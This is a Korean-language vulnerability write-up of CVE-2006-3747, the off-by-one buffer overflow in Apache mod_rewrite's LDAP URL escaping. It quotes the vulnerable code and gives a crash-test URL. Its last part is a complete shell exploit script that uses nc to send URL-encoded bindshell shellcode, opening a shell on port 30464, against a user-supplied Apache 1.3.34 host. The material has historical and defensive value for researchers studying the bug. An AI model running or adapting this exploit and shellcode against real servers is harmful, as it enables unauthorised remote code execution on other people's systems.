
CVE-2006-3747에 대한 공개된 작동하는 익스플로잇 및 상세 분석, Apache mod_rewrite LDAP off-by-one 버퍼 오버플로 취약점, 개념 증명 및 셸코드 포함.
(http://www.securityfocus.com/archive/1/443870)
2006년 7월 28일, Mark Dowd(McAfee Avert Labs)가 mod_rewrite 아파치 모듈에서 발견된 취약점을 bugtraq 메일링 리스트에 보고했습니다. 취약한 함수는 escape_absolute_uri()이며, 문제는 mod_rewrite가 LDAP URL을 처리할 때만 발생할 수 있습니다. 잘못된 형식의 LDAP URL은 특정(특수) 상황에서 오프-바이-원 오버플로를 유발할 수 있으며, 공격자는 이를 이용해 서비스 거부를 일으키거나 아파치 사용자의 권한으로 임의 코드를 실행할 수 있습니다. 이 취약점을 악용하기 위해 LDAP 특정 규칙이 필요하지는 않지만, 사용자가 재매핑된 URL의 초기 부분을 제어할 수 있는 규칙이 존재해야 합니다. 예를 들어:
RewriteRule foo/(.*) $1
다음 Apache HTTP 서버 버전이 취약합니다:
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
LDAP URI에 다섯 번째 '?'가 포함된 경우, 2740번째 줄에서 토큰[5]에 쓰기 때문에 오프-바이-원 오버플로가 발생합니다. 이 문제를 악용하려면 취약한 아파치 버전과 특정 스택 프레임 레이아웃이 필요합니다.
취약한 아파치 버전에서 익스플로잇이 성공할 수 있는지 확인하려면 httpd.conf 또는 .htaccess 파일에 다음 규칙을 작성하십시오:
RewriteRule kung/(.*) $1
그리고 다음 URL에 접근을 시도하십시오:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
웹 서버가 '302 Found' 페이지를 반환하지 않거나 error_log에 세그멘테이션 폴트가 나타나면 아파치 자식 프로세스가 충돌한 것이며, 이는 웹 서버가 취약하고 익스플로잇 가능함을 의미합니다.
이 익스플로잇은 Apache 1.3.34, 데비안 sarge 패키지에서 성공적으로 실행되었습니다:
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P
echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"
if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi
host=$1
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80
~~ Jacobo Avariento Gimeno